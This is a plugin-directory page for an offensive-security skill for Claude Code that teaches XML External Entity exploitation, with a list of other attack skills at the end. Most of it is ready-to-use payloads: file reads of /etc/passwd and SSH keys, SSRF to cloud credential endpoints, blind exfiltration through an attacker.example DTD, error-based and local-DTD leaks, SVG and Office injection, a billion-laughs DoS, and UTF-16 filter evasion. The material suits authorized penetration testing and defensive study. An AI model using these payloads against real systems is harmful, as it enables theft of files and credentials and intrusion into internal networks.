/secskills-offense:exploiting-xxefrom secskills-offense
Exploits XML External Entity injection to read local files, perform SSRF, and exfiltrate data via in-band, blind OOB, and error-based techniques. Use when an endpoint accepts XML, parses SVG/OOXML, or consumes SAML.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.
Only against systems you are authorized to test.
Content-Type: application/xml, text/xml, or a SOAP
envelope, and the body starts with <?xmltesting-web-applications to find the
sink before you land hereexploiting-ssrfexploiting-deserializationattacking-saml for the
signature, replay, and assertion context, then return here for the parserauditing-code-for-vulnerabilitiesXML hides in more places than a Content-Type header:
application/xml<?xml prolog and DTD go before <soap:Envelope>word/document.xml, xl/workbook.xml, etc.<samlp:Response> and <saml:Assertion> are XMLThe tell for a live parser: submit a benign internal entity and see it expand.
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>
If expanded-value appears in the response, general entities resolve and the
next step is an external entity.
When the entity value is reflected somewhere in the response:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
Place &xxe; in whatever element the application echoes back — a name, a
comment, a search term. High-value local targets:
file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/ # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini # Windows
A file containing <, &, or other XML-significant bytes (source code, config,
/etc/shadow) will break the parse when read directly. On PHP targets, wrap it
in the base64 filter so the entity value is pure base64:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
Decode the returned blob with base64 -d. This is the go-to for reading PHP
source and any file whose raw content would otherwise corrupt the document.
An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
Everything about target selection, IMDSv2's header requirement, alternate IP
encodings, and internal service hunting lives in exploiting-ssrf — XXE is
just another way to originate the request. Note the XML parser is a plain
fetcher: it cannot set the X-aws-ec2-metadata-token header, so IMDSv2 blocks
it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in
reach, but Azure (Metadata: true) and GCP (Metadata-Flavor: Google) require a
header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.
Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>
A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To
exfiltrate file contents you need parameter entities (%name) and an
external DTD hosted on your server, because a general external entity cannot
be used inside another entity's definition, but parameter entities can.
Host this DTD at http://attacker.example/evil.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/x?d=%file;'>">
%eval;
%exfil;
Serve it with anything — a one-liner is enough:
# In the directory holding evil.dtd
python3 -m http.server 80
# Watch the query string of the inbound request for the base64 file content
The in-band request just pulls the external DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]>
<foo>test</foo>
The % is a hex-encoded % — required because a parameter entity
reference cannot appear literally inside another parameter entity's definition;
it must be escaped so the parser expands it during the second read.
When outbound HTTP is blocked but the parser reveals error messages, leak the file through a parse error. Reference a nonexistent path built from the file content so the failure message contains the data:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
The parser tries to open file:///nonexistent/root:x:0:0:... and the "no such
file" error echoes the concatenated path — one line at a time, since newlines
terminate the path.
Some parsers or WAFs strip or reject general entity declarations but still
process parameter entities. If <!ENTITY xxe ...> is blocked, the entire
external-DTD technique above runs on <!ENTITY % ...> and works where the
in-band approach does not. Parameter entities are also the only form usable
inside the DTD's internal or external subset for chained definitions.
When you control only part of the XML document — a single field the server drops
into a larger document it builds — you cannot add a <!DOCTYPE>. XInclude
does the file read from inside an ordinary element, as long as the parser has
XInclude processing enabled:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
parse="text" reads the file as text (needed for non-XML files); drop it for
XML targets. This is the technique for SOAP fields and any injection point below
the document root.
SVG is XML — put the DTD straight in the uploaded file:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="20">&xxe;</text>
</svg>
If the service rasterizes the SVG, the file content may render into the output image; if it echoes metadata, it appears there.
Office documents (DOCX/XLSX/PPTX) are ZIP archives of XML parts. Unzip, inject the DTD into a parsed part, and rezip:
mkdir doc && cd doc && unzip ../clean.docx
# Edit word/document.xml — add a DOCTYPE and reference &xxe; in a text run.
# For XLSX edit xl/workbook.xml or a sheet; for PPTX a slide part.
zip -r ../evil.docx . -x '.*'
Tooling automates the injection and repackaging: oxml_xxe and docem generate
XXE-laden Office/Opendocument files across every part and payload variant.
Nested entities expand exponentially and exhaust memory:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Mention this to prove the parser expands entities unbounded, but do not actually run it against a live target — it is a denial-of-service that can take the service down. A parser that resolves the small confirmation entity is already the evidence; note the DoS exposure in the report without triggering it.
When outbound access is blocked and the parser forbids external general entities but still permits parameter entities, you can repurpose a DTD file that already exists on the target filesystem. Redefine one of its parameter entities to trigger error-based exfiltration entirely locally:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;
'>
%local_dtd;
]>
<foo>test</foo>
Find a DTD that ships with the OS (common paths differ by distro) and identify a parameter entity it defines to override. This is the fully-offline blind read.
A WAF grepping for <!ENTITY or <!DOCTYPE in UTF-8 misses the same bytes
encoded as UTF-16 or UTF-7. Re-encode the whole payload and set the prolog
accordingly:
# UTF-16 defeats naive string-matching filters that only scan UTF-8
iconv -f UTF-8 -t UTF-16BE payload.xml > payload-utf16.xml
Also try: a UTF-16 encoding="UTF-16" declaration, mixing SYSTEM casing where
the parser is case-insensitive, and swapping file:// for netdoc:// (older
Java) or jar: (Java, reaches inside archives and holds connections open).
Content-Type to application/xml.php://filter base64, or use
error-based exfiltration for non-PHP targets.<!ENTITY." Re-encode as UTF-16, or move the declarations
into an external DTD the WAF never inspects.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
testing-web-applications, testing-apis, enumerating-network-services, attacking-graphql, attacking-grpc-protobuf, exploiting-deserialization, exploiting-ssrfDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
testing-web-applications — the surrounding methodology that finds the sinkexploiting-ssrf — target selection once XXE gives you an outbound requestattacking-saml — XXE inside a SAML assertion, with signature and replay contextauditing-code-for-vulnerabilities — finding the parser configuration in sourcereporting-security-findings — severity when only blind confirmation existsWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
xxe, xml-injection, ssrf, file-read, blind-xxe, oob-exfiltration
npx claudepluginhub gztes/security-for-platforms --plugin trilwu-secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job